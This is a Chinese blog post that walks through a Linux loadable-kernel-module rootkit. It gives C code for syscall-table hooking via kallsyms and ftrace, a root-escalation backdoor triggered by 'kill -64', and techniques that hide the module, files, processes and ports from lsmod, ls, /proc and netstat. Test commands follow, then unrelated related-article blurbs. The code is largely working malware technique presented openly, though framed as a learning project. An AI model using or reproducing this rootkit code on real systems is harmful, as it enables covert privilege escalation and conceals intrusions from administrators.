一个基于 LKM 的 Linux 内核级 rootkit 的实现
博客已迁移至:https://gls.show/
GitHub链接
演示Slides
overview
rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问。rootkit可以是用户级的,也可以是内核级的。关于rootkit的详细介绍可以参考https://en.wikipedia.org/wiki/rootkit
有许多技术可以实现rootkit,本项目使用的是通过编写LKM(Linux kernel module)并hook系统调用表的方式。这种方式具有诸多优点,比如rootkit作为内核模块可以动态的加载和卸载,大多数rootkit也都是通过LKM的方式实现的
LKM
一个简单的LKM示例
// header file// module infostatic int __init example_init(void)
{printk(KERN_INFO "Hello, World!\n");return 0;
}static void __exit example_exit(void)
{printk(KERN_INFO "Goodbye, World!\n");
}module_init(example_init);
module_exit(example_exit);
在完成了对应Makefile的编写之后,使用make
命令可以编译出ko文件(kernel object),使用insmod rootkit.ko
命令可以安装内核模块,使用rmmod rootkit
可以卸载rootkit模块,使用dmesg
命令可以打印程序中printk的信息
hook系统调用
用户进程通过系统调用使用内核服务。系统调用会进入内核,让内核执行服务然后返回,关于系统调用的更多信息,可以使用man -k syscall
获取。如下图所示,hook可以劫持正常的系统调用,让内核执行我们自行设计的函数,从而实现我们自己想要的功能
比如,当用户使用ls命令列出该目录下所有文件的时候,本质上是使用了getdents64
系统调用,如果我们将getdents64
的地址替换为我们自己构造的函数hook_getdents64
,即可劫持系统调用流程。因此,只要我们分析清楚了某一个shell命令底层所执行的系统调用,并成功对其进行hook,那么就可以成功实现rootkit的种种目的
strace
命令可以对系统调用进行跟踪,这可以帮助我们分析命令的函数调用链
$ strace -c ls
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------0.00 0.000000 0 8 read0.00 0.000000 0 1 write0.00 0.000000 0 13 close0.00 0.000000 0 12 fstat0.00 0.000000 0 32 mmap0.00 0.000000 0 9 mprotect0.00 0.000000 0 2 munmap0.00 0.000000 0 3 brk0.00 0.000000 0 2 rt_sigaction0.00 0.000000 0 1 rt_sigprocmask0.00 0.000000 0 2 ioctl0.00 0.000000 0 8 pread640.00 0.000000 0 2 1 access0.00 0.000000 0 1 execve0.00 0.000000 0 1 readlink0.00 0.000000 0 2 2 statfs0.00 0.000000 0 2 1 arch_prctl0.00 0.000000 0 2 getdents640.00 0.000000 0 1 set_tid_address0.00 0.000000 0 11 openat0.00 0.000000 0 1 set_robust_list0.00 0.000000 0 1 prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00 0.000000 117 4 total
回到hook系统调用这个事情上来,内核中有一张系统调用表,存放了所有的系统调用的地址,我们需要找到这张表的地址,才能对系统调用“偷梁换柱”——将原本的syscall的地址替换为我们自己实现的syscall地址。也可以将系统调用表看做是一个数组,系统调用号为其索引,不同的系统调用号对应着不同的系统调用。需要小心的是,相同的系统调用函数,对于不同的架构,调用号是不同的。这个页面列出了 Linux 支持的架构的所有系统调用
查找系统调用表的地址有很多方法,比如:
- 使用kallsyms
- 使用ftrace
- 暴力枚举
注意,由于rootkit与系统内核版本是强相关的,所以对于不同的内核,查找系统调用表的方式也不同,比如有的版本的内核无法使用kallsyms得到系统调用表地址,那么就可以考虑使用ftrace
使用kallsyms:
//函数声明,real_sys_openat是真实的sys_openat函数
static asmlinkage long (*real_sys_openat)(const struct pt_regs *);//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);//获取系统调用表地址
real_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");//保存原来的kill函数的地址,最后需要恢复原状
real_sys_openat = (void *)real_sys_call_table[__NR_openat];// 关闭写保护
disable_wp();//将真实的sys_openat函数地址映射到我们自己写的openat函数地址处,偷梁换柱
real_sys_call_table[__NR_openat] = (void *)my_sys_openat;// 恢复现场,打开写保护
enable_wp();
使用ftrace:
//在头文件中写上hook数组
struct ftrace_hook hooks[] = {HOOK("__x64_sys_mkdir", hook_mkdir, &orig_mkdir),HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents)};//在模块初始化时执行hook安装
fh_install_hooks(hooks, ARRAY_SIZE(hooks));//在模块卸载化时执行hook卸载
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
在某些内核版本中,/proc/kallsyms
文件存储了系统调用吧和系统调用的地址信息,我们可以使用命令行获取:
cat /proc/kallsyms | grep xxx
同样的,对于不同的内核,系统调用函数的声明不同,这是一个对比:
// 旧
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);// 新
asmlinkage long sys_getdents(unsigned int fd,struct linux_dirent __user *dirent,unsigned int count);
asmlinkage
是一个宏,告诉编译器在 CPU 堆栈上查找函数参数,而不是寄存器。众所周知,用户态程序调用syscall的时候,会下陷到内核态,此时会保存 CPU 堆栈中的所有寄存器(eax、ebx、ecx 等)。因此,从用户空间传递到内核空间的有关参数的信息都被保存在堆栈中,这也即是使用asmlinkage
的原因
对于新的系统调用,存储在寄存器中的参数会先被复制到pt_regs
结构体中,因此当我们编写hook函数的时候,需要先从这个结构体中获取对应的参数值
//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);
此外由于内核空间和用户空间是隔离的,地址的映射并不互通,因此需要使用copy_to_user
和copy_from_user
进行数据的传输
提权
-
cred
是一个记录进程credentials信息的结构体,具体定义在cred.c
头文件中 -
prepare_creds()
返回当前进程的cred
结构 -
commit_creds()
将这个cred应用于当前进程,因此我们只需要对cred结构体进行修改即可实现提权
void get_root(void)
{struct cred *newcreds;newcreds = prepare_creds();if (newcreds == NULL)return;newcreds->uid.val = newcreds->gid.val = 0;newcreds->euid.val = newcreds->egid.val = 0;newcreds->suid.val = newcreds->sgid.val = 0;newcreds->fsuid.val = newcreds->fsgid.val = 0;commit_creds(newcreds);
}
hook kill实现提权,当我们在shell中输入kill -64 <num>的时候会将shell提权到root,可以使用id命令验证这一点
asmlinkage long hook_kill(const struct pt_regs *regs)
{pid_t pid = regs->di;int sig = regs->si;if (sig == 64){printk(KERN_INFO " get_root ");get_root();}return orig_kill(regs);
}
模块隐藏
lsmod命令可以列出已安装的内核模块,rmmod可以删除。模块隐藏也即是让lsmod命令无法输出我们的模块
内核使用module结构体存储模块信息,可以看到module封装了list双向链表,下面的源码可以在module.h
中找到
struct module {enum module_state state;/* Member of list of modules */struct list_head list;// ... and so on
}
为了隐藏模块,我们只需把对应rootkit模块的list从全局链表中删除即可。内核已经替我们实现了list_del和list_add函数,它们被封装在list.h头文件中,我们调用即可。在下面的代码中,THIS_MODULE宏指向当前模块的module struct
值得注意的是,为了恢复节点,我们需要临时保存节点的信息
static void hide_myself(void) { list_del(&THIS_MODULE->list); }static void show_myself(void) { list_add(&THIS_MODULE->list, module_prev); }static inline void module_info(void) { module_prev = THIS_MODULE->list.prev; }
文件隐藏
ls命令可以打印出文件,为了深入研究ls做了什么,可以使用strace命令进行追踪。strace具有许多有趣的选项,比如-c
可以打印出统计表格, -p
可以追踪某一进程,等等
一通分析后可以发现ls命令调用了getdents64 syscall
(实际上有些较新的内核版本仍然会调用getdents
函数而不是较新的getdents64
,这个后面还会提到),该函数可以得到目录的entry,并返回读取的字节数。我们可以通过对该函数进行hook从而达到隐藏文件的目的
下面是hook_getdents64函数的设计,省略了一些报错处理和别的细节
// 声明原本的getdents64函数
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
// 声明我们设计的hook_getdents64函数
asmlinkage long hook_getdents64(const struct pt_regs *);
// ssize_t getdents64(int fd, void *dirp, size_t count);
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{//获取寄存器中的内容struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;//遍历,对希望隐藏的文件进行处理while (tlen > 0){len = current_dir->d_reclen;tlen = tlen - len;if (check_file(current_dir->d_name))//覆盖操作{ret = ret - len;memmove(current_dir, (char *)current_dir + current_dir->d_reclen, tlen);}elsecurrent_dir = (struct linux_dirent64 *)((char *)current_dir + current_dir->d_reclen);}//返回正常调用的结果return orig_getdents64(regs);
}
为了设计出上面的代码我们需要详细理解linux_dirent结构体和linux_dirent64结构体,它们分别对应getdents函数和getdents64函数,后者是为了处理更大的文件系统和偏移而设计的,细节如下:
struct linux_dirent {unsigned long d_ino; /* Inode number */unsigned long d_off; /* Offset to next linux_dirent */unsigned short d_reclen; /* Length of this linux_dirent */char d_name[]; /* Filename (null-terminated) *//* length is actually (d_reclen - 2 -offsetof(struct linux_dirent, d_name)) *//*char pad; // Zero padding bytechar d_type; // File type (only since Linux// 2.6.4); offset is (d_reclen - 1)*/}struct linux_dirent64 {ino64_t d_ino; /* 64-bit inode number */off64_t d_off; /* 64-bit offset to next structure */unsigned short d_reclen; /* Size of this dirent */unsigned char d_type; /* File type */char d_name[]; /* Filename (null-terminated) */};
对于getdents函数的hook,与getdents64函数的hook有一些不同,这里暂且略去
进程隐藏
linux内核维护了task_struct和pid两个链表,分布记录了进程的task_struct结构和pid结构
想要查看当前是否有rootkit进程有两个常规操作:
- 遍历task_struct链表
- 遍历/proc/pid中所有进程
要想隐藏进程,就要考虑将rootkit相关的task struct和pid都摘除列表,即要从下面两点出发:
-
脱离 task_struct 链表
-
脱离 pid 链表
那么首先看下linux中使用的相关的结构
struct pid
{refcount_t count;unsigned int level;// lists of tasks that use this pid struct hlist_head tasks[PIDTYPE_MAX];// wait queue for pidfd notifications wait_queue_head_t wait_pidfd;struct rcu_head rcu;struct upid numbers[1];
};struct task_struct {......struct pid *thread_pid;struct hlist_node pid_links[PIDTYPE_MAX];//找task struct中的对应的pid hlist_nodestruct list_head thread_group;struct list_head thread_node;......#endif // #ifdef CONFIG_TASKS_RCU struct sched_info sched_info;struct list_head tasks; list_head 通过list_head将当前进程的task_struct串联进内核的进程列表中.....}struct list_head {
struct list_head *next, *prev;
};struct hlist_node {struct hlist_node *next;struct hlist_node **pprev;//需要注意的是pprev是指针的指针,它指向的是前一个节点的next指针;其中首元素的pprev指向链表头的fist字段,末元素的next为NULL.
};
相关的函数
struct task_struct *pid_task(struct pid *pid, enum pid_type type) //用于根据pid和其类型找到对应的task_struct
find_vpid()//用于根据nr也就是namespace下的局部pid找到对应的struct pid结构体
//使用的链表操作相关的函数
list_add()//增加结点
list_del()//删除结点
hlist_add_head_rcu()//增加结点
list_add_tail_rcu() //增加结点
list_del_rcu()//删除结点
hlist_del_rcu()//删除结点
INIT_HLIST_NODE()//初始化链表结点
INIT_LIST_HEAD()//初始化链表头
list_for_each_entry_safe()//相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除
//内存操作
kmalloc()//申请内存存储hide_node结构
kfree()//释放hide_node结构占用的内存
自定义的数据结构
//进程隐藏的存储链表
static struct list_head hide_list_header=LIST_HEAD_INIT(hide_list_header);
//进程隐藏的存储结点
struct hide_node{pid_t pid_victim_t;struct task_struct* task_use_t;struct list_head hide_list_header_t;
};
使用的函数
int hide_pid_fn(pid_t pid_victim);//隐藏进程
int recover_pid_fn(pid_t pid_victim);//恢复隐藏的进程
int recover_pid_all();//恢复所有进程
大致的流程:
hide_pid_fn(pid_t pid_victim);
-
根据pid用find_vpid()找到对应的pid结构体
-
成功找到pid结构体后利用pid_task()找到对应的task struct
-
利用链表操作函数hlist_del_rcu对task struct 结点进行脱链,并用INIT_HLIST_NODE设置task struct 的前后指针
-
然后根据task struct 找到对应的pid 的结点,利用hlist_del_rcu进行脱链,INIT_HLIST_NODE设置其指针为空,并将pprev指向自身。
此时进程已经成功摘除链表被隐藏,但是需要记录对应结构,方便之后恢复
- 用kmalloc申请一个hide_node类型结点的空间,设置对应的pid号和task struct指针,并通过list_head将其增加到hide_list_header 链表上进行记录
到此完成隐藏进程功能,并未后面恢复做准备
recover_pid_fn(pid_t pid_victim);
- 通过list_for_each_entry_safe来遍历hide_list_header链表,直到找到和pid对应的hide_node的进程。然后利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
recover_pid_all(void);
- 这里同样通过list_for_each_entry_safe来遍历hide_list_header链表
- 针对其中的每一个隐藏的进程,利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
端口隐藏
端口隐藏即隐藏已经被使用的端口,在linux中查看已经使用的端口有两个命令,一个是netstat,一个是ss,两个命令调用的系统调用不同,因此实际隐藏的过程也不同
- netstat在读取端口信息时会读取以下四个文件(对应的网络协议为tcp、udp、tcp6、udp6):/proc/net/tcp、/proc/net/udp、/proc/net/tcp6/、/proc/net/udp6
- 这几个文件都是序列文件,即seq_file,seq_file定义的结构体如下
struct seq_file {char *buf; //缓冲区size_t size;size_t from;size_t count; //缓冲区长度size_t pad_until;loff_t index;loff_t read_pos;u64 version;struct mutex lock;const struct seq_operations *op; // importantint poll_event;const struct file *file;void *private;
};
seq_operations定义的结构体为
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};
seq_operations的show函数即为netstat要输出的信息,我们只需要将该函数的 hook掉,在hook之前需要先保存show函数的地址,对应的函数为set_seq_opeartions
void set_seq_operations(const char* open_path,struct seq_operations** operations); // open_path是打开的序列文件,operations是要保存的show函数的真实地址
我们在全局变量中声明了一个链表,变量名为hidden_port_list_head,它的作用为存储需要被隐藏的端口的信息,当想隐藏端口时,调用hide_connect函数,它的定义为
void hide_connect(int type, int port)
其中type为网络类型(tcp/udp/tcp6/udp6),port为端口号,该函数会将需要隐藏的端口添加到链表上。
node = kmalloc(sizeof(struct port_node), GFP_KERNEL);node->port = port;node->type = type;// 向链表中添加节点list_add_tail(&node->list, &hidden_port_list_head);
当不想隐藏该端口时,使用hide_unconnect函数将该节点从链表中删除
void unhide_connect(int type, int port){list_for_each_entry_safe(entry, next_entry, &hidden_port_list_head, list){if (entry->port == port && entry->type == type){pr_info("Unhiding: %d", port);list_del(&entry->list); // 将要隐藏的节点从链表中删除kfree(entry);return;}}
}
隐藏端口的链表会在我们定义的hook函数中用到
首先要让定义的hook函数的参数与需要被hook的函数参数相同
int fake_seq_show(struct seq_file *seq, void *v)
hook函数首先判断网络类型,之后调用原show函数,如下
if (seq->op == tcp_operations){type = TCP_CONNECT;//调用原有的tcp show函数ret = tcp_seq_fun(seq,v);}else if (seq->op == udp_operations){type = UDP_CONNECT;ret = udp_seq_fun(seq,v);}else if (seq->op == tcp6_operations){type = TCP6_CONNECT;ret = tcp6_seq_fun(seq,v);}else if (seq->op == udp6_operations){type = UDP6_CONNECT;ret = udp6_seq_fun(seq,v);}
show函数会将需要展示的端口信息放在seq->buf中,而seq->count记录了buf的缓冲区长度,代码的逻辑为判断新增的缓冲区的字符串是否和想要的隐藏的端口信息相同,如下
// 对hidden_port_list_head遍历list_for_each_entry(node, &hidden_port_list_head, list){if (type == node->type){// seq->buf为缓冲区,snprintf先按照缓冲区格式声明一个port_str_bufsnprintf(port_str_buf, PORT_STR_LEN, ":%04X", node->port);// 之后将缓冲区的新增字符串和port_str_buf进行对比判断是否要过滤端口if (strnstr(seq->buf + last_len, port_str_buf, this_len)){pr_info("Hiding port: %d", node->port);seq->count = last_len;break;}}}
功能测试
模块编译、安装、卸载:
sudo make sudo insmod rootkit.kosudo rmmod rootkit
提权:
idkill -64 1id
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHc5LlWF-1677481929582)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%8F%90%E6%9D%83.png)]
模块隐藏与恢复
echo hidemodule >/dev/null
echo showmodule >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V9gONVmG-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
进程隐藏与恢复
echo hideprocess [PID] >/dev/null
echo showprocess [PID] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sy4m1fCs-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
文件隐藏与恢复
echo hidefile [filename] >/dev/null
echo showfile [filename] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GCGlA3Pe-1677481746534)(https://github.com/LaPhilosophie/hello-rootkit/blob/main/image/%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8F&%E6%81%A2%E5%A4%8D.png?raw=true)]
端口隐藏与恢复
echo hideport [port] >/dev/null
echo showport [port] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2f1Dn8VW-1677481746534)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E7%AB%AF%E5%8F%A3%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
参考资料
- (nearly) Complete Linux Loadable Kernel Modules
- awesome-linux-rootkits
- 简易 Linux rootkit 编写入门指北
- Reptile
- Sample rootkit for Linux
- 【rootkit 系列研究】rootkit 检测技术发展现状
- https://github.com/plusls/rootkit
- https://github.com/TangentHuang/ucas-rootkit
- https://xcellerator.github.io/posts/linux_rootkits_07/
- https://github.com/torvalds/linux/tree/325d0eab4f31c6240b59d5b2b8042c88f59405b5/fs
- https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/linux_rootkit/fundamentals.html
- https://github.com/vkobel/linux-syscall-hook-rootkit
- https://linux.die.net/man/2/getdents64
相关文章:
一个基于 LKM 的 Linux 内核级 rootkit 的实现
博客已迁移至:https://gls.show/ GitHub链接 演示Slides overview rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问。rootkit可以是用户级的,也可以是内核级的。关于rootk…...
CAN工具 - ValueCAN - 基础介绍(续)
VSpy3(Vehicle Spy 3的简写),作为一个常用的车载总线仿真工具,在车载网络领域也是有非常大的市场,前面也简单介绍过一些简单的功能,今天就再次介绍一些。什么是VSpy3?VSpy3是美国英特佩斯公司下…...
一个Laravel+vue免费开源的基于RABC控制的博客系统
项目介绍 CCENOTE 是一个使用 Vue3 Laravel8 开发的前后端分离的基于RABC权限控制管理的内容管理系统,由于作者本人比较喜欢写作的原因,因此开发了这个项目,后端使用的PHP的Laravel框架,并且整理了数据层与业务层,相…...
从 B 站出发,用 Chrome devTools performance 分析页面如何渲染
页面是如何渲染的?通常会得到“解析 HTML、css 合成 Render Tree,就可以渲染了”的回答。但是具体都做了些什么,却很少有人细说,我们今天就从 Chrome 的性能工具开始,具体看看一个页面是如何进行渲染的,以及…...
Java异常Throwable的分类
1. Exception:程序本身可以捕获并且可以处理的异常 编译时异常:编译期就会检查的异常,若调用的方法中throw了此类异常,则必须进行显式处理处理(用try…catch捕获或者throws向上抛出),否则无法通…...
【mybatis的#和$使用和区别】
MyBatis是一种基于Java的持久层框架,用于将数据库操作和Java对象之间的映射进行处理。在MyBatis中,#和 $ 符号是用于SQL语句中的占位符。 在SQL语句中,#和 $ 符号都表示占位符,但它们的使用方式略有不同: # 符号 #符…...
感知趋势,洞察发展:2023(第十届)趋势与预测大会成功举办
2023年2月23日,运联年会:2023(第十届)趋势与预测大会在深圳机场凯悦酒店成功闭幕。自2014年开始,“运联年会:趋势与预测”已经连续举办九届。这场大会,既是一次行业性的“年终总结”,…...
Spring-Aop核心技术
前言spring一直以来都是我们Java开发中最核心的一个技术,其中又以ioc和aop为主要技术,本篇文章主要讲一下aop的核心技术,也就是ProxyFactory技术的使用,而基本的jdk动态代理和cglib代理技术并不涉及,如有需要ÿ…...
webpack常用优化原理剖析
webpack常用优化原理剖析 按需加载代码配置原理CDN加速-externals代码配置GZIP压缩代码配置原理Tree Shaking代码配置原理按需加载 把不同路由对应的组件分割成不同的代码块,然后当路由被访问的时候才加载对应组件. 代码配置 //定义了一个异步函数,由于函数不调用不执行,所…...
【现在努力还不晚】--MySQL数据库的数据模型
目录 1、关系型数据库(RDBMS) 特点 2、数据模型 在学习MySQL之前要了解一下数据库的数据模型,我们就知道在MySQL当中,数据是如何存储的,我们了解一下概念! 1、关系型数据库(RDBMS࿰…...
二手商品交易网站
技术:Java、JSP等摘要:随着科学技术和信息通讯的飞速发展,Internet极大地丰富和改变着我们生活的各个行业。随着Internet的普及应用,人们可以跨越时间和空间的限制,足不出户便能通过网络完成信息交流,而完成…...
第三阶段04-同步请求和异步请求,get/post,Josn,pojo,Session/Cookie,过滤器Filter
文章目录同步请求和异步请求客户端如何发出异步请求自定义模板代码Get和Post请求异步版本的注册和登录商品管理系统(异步版本)商品列表步骤:前后端分离为什么需要前后端分离?为什么以后不再使用同步请求?JSONPOJO会话对象Session如何记住登录状态后端的MVC会话管理Cookie通过…...
Spark学习:spark相似算子解析
spark算子 一、Map、Flatmap和MapPartition二、repartition和coalesce三、reduceByKey和groupByKey四、collect、take和first一、Map、Flatmap和MapPartition 算子作用map接收一个高阶函数f,对每个算子进行f操作flatmap接收一个高阶函数f,对每个元素进行f操作,形成一个大的集合…...
MySQL操作数据表-----------创建数据表(一)
在MySQL中创建数据库完成后,需要使用USE 数据库名的形式指定进行操作的数据库,然后再去执行创建数据表的SQL语句,也可以直接使用数据库名.数据表名的形式创建数据表。 1.创建空数据表 语法格式:CREATE TABLE [IF EXISTS] 表名 &…...
Java “框架 = 注解 + 反射 + 设计模式” 之 注解详解
Java ”框架 注解 反射 设计模式“ 之 注解详解 每博一文案 刹那间我真想令时光停住,好让我回顾自己,回顾失去的年华,缅怀哪个穿一身短小的连衣裙 和瘦窄的短衫的小女孩。让我追悔少年时代,我心灵的愚钝无知,它轻易…...
特斯拉4D雷达方案首次曝光!高阶智驾市场比拼安全冗余
随着L2级智能驾驶进入普及阶段,L3/L4级赛道正在成为各家车企的下一个竞争焦点。背后的最大难题,就是如何在成本可控的前提下,保证足够的安全。 高工智能汽车研究院监测数据显示,2022年度中国市场(不含进出口ÿ…...
Echarts 每个柱子一种渐变色的象形柱状图
第023个点击查看专栏目录本示例是解决每个柱状图的每一个柱子都呈现一种渐变色,每个柱子的颜色都不同。这里同时采用了象形的柱状图效果。 文章目录示例效果示例源代码(共125行)相关资料参考专栏介绍示例效果 示例源代码(共125行&…...
叠氮试剂79598-53-1,6-Azidohexanoic Acid,6-叠氮基己酸,末端羧酸可与伯胺基反应
●中文名:6-叠氮基己酸●英文名:6-Azidohexanoic Acid,6-Azidohexanoic COOH●外观以及性质:西安凯新生物科技有限公司供应的6-Azidohexanoic Acid浅黄色或者无色油状,叠氮化物可使用铜催化的Click化学与末端炔烃共轭&…...
Nginx网站服务——编译安装、基于授权和客户端访问控制
文章目录一、Nginx概述1.1、Nginx的特点1.2、Nginx编译安装1.3、Nginx运行控制1.4、Nginx和Apache的区别二、编译安装Nginx服务的操作步骤2.1、关闭防火墙,将安装nginx所需软件包传到/opt目录下2.2、安装依赖包2.3、创建运行用户、组(Nginx 服务程序默认…...
Spring Boot 版本升级2.2.11.RELEASE至2.7.4
2.2.11.RELEASE > 2.7.4项目更新spring-boot-starter-parent 主依赖,导致项目跑不起了日志也没有输出有用信息,自己查看源码调试启动入口打断点,一步步进入方法定位项目停止代码我的项目执行到SpringApplication.class 的152行代码会停止项…...
OpenShift 4 - 使用辅助安装器安装单节点 OpenShift
文章目录单节点 OpenShift 和 OpenShift 辅助安装器单节点 OpenShiftOpenShift 辅助安装器使用辅助安装器安装单节点 OpenShift本文使用的安装环境准备环境在宿主机上安装 KVM 环境创建 SSH 证书根据集群配置,用辅助安装器生成 Discovery ISO用 Discovery ISO 启动 …...
Allegro如何快速锁定整板测试点操作指导
Allegro如何快速锁定整板测试点操作指导 在做PCB设计的时候,会需要给整板添加测试点,用于飞针测试,如下图 在测试点添加好之后,文件输出之前需要把测试点全部锁定,避免因为测试点模具开好,测试点被移动的情况出现 如果逐个锁定Via,容易遗漏 Allegro支持快速锁定整板测…...
系统分析师---知识产权标准化思维导图
保护范围以及对象(3星) 著作权法:不用申请,作品完整即保护绘画摄影作品,原件持有人只是所有权与展览权,著作权归原作者 专利法:专利权需要申请商标法:商标权需要申请反不正当竞争法…...
HiEV洞察 | 特斯拉HW4.0再爆猛料,高精定位、雷达均有变动
作者 | 查理斯 编辑 | 王博特斯拉 HW4.0 消息传出后,有人爆料说在硬件层面发生了巨大变化,引发行业轰动。大家都在猜测HW4.0 具体做了哪些改动。 2月16日,Twitter用户greentheonly爆出HW4.0的主板拆解照片。2月18日又爆出毫米波雷达的拆解照片…...
潜伏的 Linux Rootkit:Syslogk
Rootkit 是非常危险的恶意软件,一旦侵入就很难被发现。开发 Rootkit 通常更加困难,很多攻击者都倾向于重用开源项目。 Adore-Ng 是一个相对较老的、开源的 Linux 内核 Rootkit,最初针对内核 2.x 版本开发,但目前已更新为针对内核…...
JVM总结
1. 内存结构 线程私有区 程序计算器 作用:是一块较小的内存空间,存储的是当前线程所执行的字节码文件的序号特点:线程私有,不会出现内存空间溢出 虚拟机栈 虚拟机栈是管理JAVA方法执行的内存模型,每个方法执行时都…...
AOF:redis宕机,如何避免数据丢失
由于redis是基于内存的数据库,一旦宕机,数据就会丢失?如何解决? 目前,Redis 的持久化主要有两大机制,即 AOF(Append Only File)日志和 RDB(Redis DataBase) 快照。 AO…...
LC-3—MIO、MMIO、Caller Save、Callee Save
LC-3—MMIO、Caller Save、Callee SaveMMIOCaller Save、Callee Save举个例子MMIO MMIO(Memory Mapped I/O)是一种在系统内存中映射I/O端口的技术,它允许设备直接访问内存中的特定地址,从而实现I/O操作。MMIO技术可以提高I/O操作…...
SQL注入报错注入之floor()报错注入原理分析
简介 对于SQL注入的报错注入通常有三个函数需要我们掌握: extractValue(xml_frag, xpath_expr)updateXML(xml_target, xpath_expr,new_xml)floor() 对于extractValue和updateXML函数来说比较好理解,就不做解释了,这里只对floor函数的报错注…...
2023CS双非保研985经验分享(南大、华科、中科大科学岛、国防科大、西交、中南、深圳大学、北邮、中科院等)
前言: 2022保研以来,因为自己的双非背景,要与985、211的排名靠前的计科大佬竞争,不自信、焦虑无时无刻的包围着我;所幸,一路以受到了许多学长、学姐耐心的帮助,也有很多保研的同学一路互相支撑。…...
可视方便建站微网站哪个好怎么用/站长之家seo工具包
规则: AssertFalse Boolean,boolean 验证注解的元素值是false AssertTrue Boolean,boolean 验证注解的元素值是true NotNull 任意类型 验证注解的元素值不是null Null 任意类型 验证注解的元素值是null BigDecimal, BigInteger, byte,short, int, long,等任何Number…...
美食网站建设规划书/百度一下官方网页
Oracle Grant详解GRANT 名称 GRANT — 赋予一个用户,一个组或所有用户访问权限 GRANT privilege [, ...] ON object [, ...] TO { PUBLIC | GROUP group | username } 输入 privilege 可能的权限有: SELECT 访问声明的表/视图的所有列/字段࿰…...
做外贸需要做国外的网站吗/seo工程师招聘
3 进程与线程 既可以显示进程和线程列表,又可以显示指定进程或线程的详细信息。调试命令可以提供比taskmgr更详尽的进程资料,在调试过程中不可或缺。 3.1 进程命令 进程命令包括这些内容:显示进程列表、进程环境块、设置进程环境。 进程列表 …...
网站新备案不能访问/故事式软文范例100字
在 HttpRequest 对象中,属性 GET 和 POST 得到的都是 django.http.QueryDict 所创建的实例。这是一个 django 自定义的类似字典的类,用来处理同一个键带多个值的情况。在 python 原始的字典中,当一个键出现多个值的时候会发生冲突,只保留最后…...
网站详情页怎么做/软件制作
解决方案: https://www.cnblogs.com/VAllen/p/Visual-C-Plus-Plus-Collection-Download.html 下载 Visual C 2008 SP1 可再发行文件(x64) https://www.microsoft.com/zh-CN/download/confirmation.aspx?id5582 删除高于2008版本的 Visual …...
做建材的网站/搜索关键词排名优化
本文首发于深入浅出区块链社区原文链接:智能合约最佳实践 之 Solidity 编码规范 每一门语言都有其相应的编码规范, Solidity 也一样, 下面官方推荐的规范及我的总结,供大家参考,希望可以帮助大家写出更好规范的智能合约。 命名规范…...